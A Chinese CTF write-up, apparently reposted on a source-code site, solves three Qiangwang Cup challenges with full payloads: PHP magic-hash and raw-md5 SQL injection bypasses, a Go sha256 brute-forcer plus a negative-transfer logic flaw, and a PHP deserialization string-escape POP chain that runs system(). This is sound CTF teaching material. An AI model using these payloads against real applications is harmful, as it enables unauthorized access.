第四届“强网杯”全国网络安全挑战赛_部分WP


前言:

全靠大佬带飞,自己菜的一批,还需继续努力!,把觉得有必要记录的记录一下。

Funhash

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();

?>

level 2和level 3都比较常见,这里就不说了,主要是level 1,之前倒是没见过这种的

$_GET["hash1"] != hash("md4", $_GET["hash1"])

需要满足输入的参数经过md4加密后还等于其本身,在外网查资料发现
https://crdx.org/post/hsctf-2019-md5-minus-minus
由于字符串的md4散列不太可能与字符串本身相同,因此可以推测PHP的类型篡改系统可能会被滥用。然后通过暴力破解得到一个值,这个值便可以满足这个条件

0e251288019

所以最终payload为:

http://39.101.177.96/?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

得到flag
第四届“强网杯”全国网络安全挑战赛_部分WP

bank

题目给出了nc的地址,连过去发现
第四届“强网杯”全国网络安全挑战赛_部分WP
是通过sha256函数加密的而且加盐了,需要输入XXX才能继续,那只有爆破了,但使用普通的用户脚本去爆破这三位非常浪费时间,而且这个程序是限时的,如果在规定的时间内没有完成操作,就会被弹出,所以爆破一定要快,这里用Go语言的脚本

package main

import (
"bytes"
"crypto/sha256"
"encoding/hex"
"fmt"
"runtime"
"sync"
"time"
)

var (
chars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890")
tail = []byte("TeEo77GsmzVmVwDip")
result, _ = hex.DecodeString("e1a16f0afb2efee2ffd27f9b34a68236a2dd056abaaeac140b5c68a454c15e46")
wg sync.WaitGroup
)

func sha(s []byte) {
for _, ch1 := range s {
for _, ch2 := range chars {
for _, ch3 := range chars {
head := []byte{ch1, ch2, ch3}
h := sha256.New()
h.Write(head)
h.Write(tail)
if bytes.Equal(h.Sum(nil), result) {
fmt.Println(string(head))
}
}
}
}
wg.Done()
}

func main() {
threads := runtime.NumCPU() // 获取cpu逻辑核心数(包括超线程)
start := time.Now()

/* len(chars) = sum * sthreads + (sum+1) * (threads-sthreads) */
snum := len(chars) / threads
sthreads := threads*(1+snum) - len(chars)

wg.Add(threads)
for i := 0; i < threads; i++ {
if i < sthreads {
go sha(chars[snum*i : snum*(i+1)])
} else {
base := snum * sthreads
go sha(chars[base+(snum+1)*(i-sthreads) : base+(snum+1)*(i-sthreads+1)])
}
}
wg.Wait()
end := time.Since(start)
fmt.Println(end)
}

进入输入队伍的token和名字,可以得到以下几个功能
第四届“强网杯”全国网络安全挑战赛_部分WP
直接获取flag是不行的,必须多余1000元,而目前只有10元,查看hint是AES加密,其他的功能查看也是一堆没用的信息,只有transact这个功能可以输入,就从这个地方进行入手。

发现只是输入名字和数字,就试试看看是否存在逻辑漏洞,输入了负数发现确实存在此漏洞,于是输入lemon1 -992这样总钱数便超过了1000,便可以获取flag了。
第四届“强网杯”全国网络安全挑战赛_部分WP

web辅助

第四届“强网杯”全国网络安全挑战赛_部分WP

题目给出了源码,一共有四个文件,先来看下class.php

准备知识:

__construct   当一个对象创建时被调用,
__invoke() 当脚本尝试将对象调用为函数时触发
__destruct() 对象被销毁时触发
__wakeup() 使用unserialize时触发
__toString 当一个对象被当作一个字符串被调用。

private变量序列化后需要在变量名的左右手动添加不可见字符%00
protected变量序列化后需要在变量前的星号*左右手动添加不可见字符,使其成为%00*%00。

class.php,这个文件便是入手点,要正确构造出pop链输入才能获取到flag

<?php
class player{
protected $user;
protected $pass;
protected $admin;

public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}

public function get_admin(){
return $this->admin;
}
}

class topsolo{//上单
protected $name;

public function __construct($name = 'Riven'){
$this->name = $name;
}

public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}

public function __destruct(){
$this->TP();
}

}

class midsolo{//中单
protected $name;

public function __construct($name){
$this->name = $name;
}

public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}

public function __invoke(){
$this->Gank();
}

public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}

class jungle{//打野
protected $name = "";

public function __construct($name = "Lee Sin"){
$this->name = $name;
}

public function KS(){
system("cat /flag");
}

public function __toString(){
$this->KS();
return "";
}

}
?>

第四届“强网杯”全国网络安全挑战赛_部分WP
审计代码发现,想要的flag并不在魔法函数中,而是在jungle类中的一个普通函数,所以这里就是终点,从输入开始最终要触发__toString才能获取到flag。

第四届“强网杯”全国网络安全挑战赛_部分WP
由上往下分析,topsolo类中将对象调用为函数,所以在new一个新对象的时候可以new midsolo类的对象,这样就触发了midsolo类中的__invoke魔法函数
第四届“强网杯”全国网络安全挑战赛_部分WP
接下来midsolo类再new一个jungle类的对象,因为stristr函数将对象当作字符串调用,所以触发了jungle类中的魔法函数__toString,这样便可以得到完整的pop链了。

执行顺序:

topsolo:__destruct->midsolo:__invoke()->jungle:__toString

如果不直观的话可以看下图(转自星盟安全)
第四届“强网杯”全国网络安全挑战赛_部分WP

POP链的构造

<?php
class topsolo{
protected $name;
public function __construct(){
$this->name = new midsolo();
}
}

class midsolo{
protected $name;
public function __construct($name){
$this->name = new jungle();
}
}

class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
}
$shy = new topsolo();
echo serialize($shy);
?>

序列化结果为:

O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}
因为protected变量序列化后需要手动星号*左右手动添加不可见字符,使其成为%00*%00,所以最终的结果为:
O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}

这样获取flag的POP链构造好了,接下来就看要怎么运用了,继续观察代码。

index.php中,发现源码对player类进行反序列化并写入文件中
第四届“强网杯”全国网络安全挑战赛_部分WP
那便对player类进行序列化操作

<?php
class player{
protected $user;
protected $pass;
protected $admin;

public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}

public function get_admin(){
return $this->admin;
}
}
$shy =new player();
echo serialize($shy);
?>

序列化后的结果:

O:6:"player":3:{s:7:"%00*%00user";N;s:7:"%00*%00pass";N;s:8:"%00*%00admin";i:0;}

play.php中,调用该文件,并通过检查后读取文件最后进行反序列化操作
第四届“强网杯”全国网络安全挑战赛_部分WP
前面的都是正常的写入和读取没有什么明显的问题,最后再来看下common.php文件
第四届“强网杯”全国网络安全挑战赛_部分WP
发现存在反序列化字符串逃逸漏洞,因为过滤后字符变少,在写入的时候是五个字符\0*\0,但当读取的时候却变成了chr(0)*chr(0)三个字符,所以吃掉了两个字符。

原理这里就不再详细解释了,下面就开始进行构造

因为源码中只对player类进行反序列化,所以我们要利用字符串逃逸漏洞将POP链给添加进去
第四届“强网杯”全国网络安全挑战赛_部分WP

O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}

因为%00是一个字符,而不是3个,所以POP链的长度为109,如果直接将POP链输入的话
第四届“强网杯”全国网络安全挑战赛_部分WP
输入的部分就进入了pass中,所以就要思考怎么将原来的这一部分给吃掉";s:7:"%00*%00pass";s:109:"长度为23,因为每次替换会减少2个字符,因此需要替换11.5次,但不可能会替换11.5次的,所以要再添加一个字符,成24个字符";s:7:"%00*%00pass";s:109:"1,这样前面只要替换12次,这个原来password就要进入到user中,而我们构造的就会代替之前的password.

所以payload为

username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
&password=1";s:7:"%00*%00pass";s:109:"1O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}";s:8:"%00*%00admin";i:0;}

但是这样的payload还是错的,因为源码中 check 函数过滤了关键字 name,
第四届“强网杯”全国网络安全挑战赛_部分WP
将序列化字符串中表示变量(名)为字符串的小写 s 换为大写 S,即可解析变量中的 16 进制\6e\61\6d\65(即 name)。

除此之外,还需要跳过第四届“强网杯”全国网络安全挑战赛_部分WP
这个魔法函数,
第四届“强网杯”全国网络安全挑战赛_部分WP
所以最终的payload为

?username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
&password=1";S:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{s:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};S:8:"%00*%00admin";i:0;}

传入到index.php,再查看play.php即可获取到flag(这里是赛后qwzf大佬搭建的环境)
第四届“强网杯”全国网络安全挑战赛_部分WP
另外一个payload,把多的一位放在前面也可以

?username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\01&password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{s:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};S:8:"%00*%00admin";i:0;}

总结:

通过这次比赛学到很多东西,尤其是反序列化字符串逃逸,感谢qwzf大佬的耐心解答,继续冲冲冲!

原创:https://www.panoramacn.com
源码网提供WordPress源码,帝国CMS源码discuz源码,微信小程序,小说源码,杰奇源码,thinkphp源码,ecshop模板源码,微擎模板源码,dede源码,织梦源码等。

专业搭建小说网站,小说程序,杰奇系列,微信小说系列,app系列小说

第四届“强网杯”全国网络安全挑战赛_部分WP

免责声明,若由于商用引起版权纠纷,一切责任均由使用者承担。

您必须遵守我们的协议,如果您下载了该资源行为将被视为对《免责声明》全部内容的认可-> 联系客服 投诉资源
www.panoramacn.com资源全部来自互联网收集,仅供用于学习和交流,请勿用于商业用途。如有侵权、不妥之处,请联系站长并出示版权证明以便删除。 敬请谅解! 侵权删帖/违法举报/投稿等事物联系邮箱:2640602276@qq.com
未经允许不得转载:书荒源码源码网每日更新网站源码模板! » 第四届“强网杯”全国网络安全挑战赛_部分WP
关注我们小说电影免费看
关注我们,获取更多的全网素材资源,有趣有料!
120000+人已关注
分享到:
赞(0) 打赏

评论抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

您的打赏就是我分享的动力!

支付宝扫一扫打赏

微信扫一扫打赏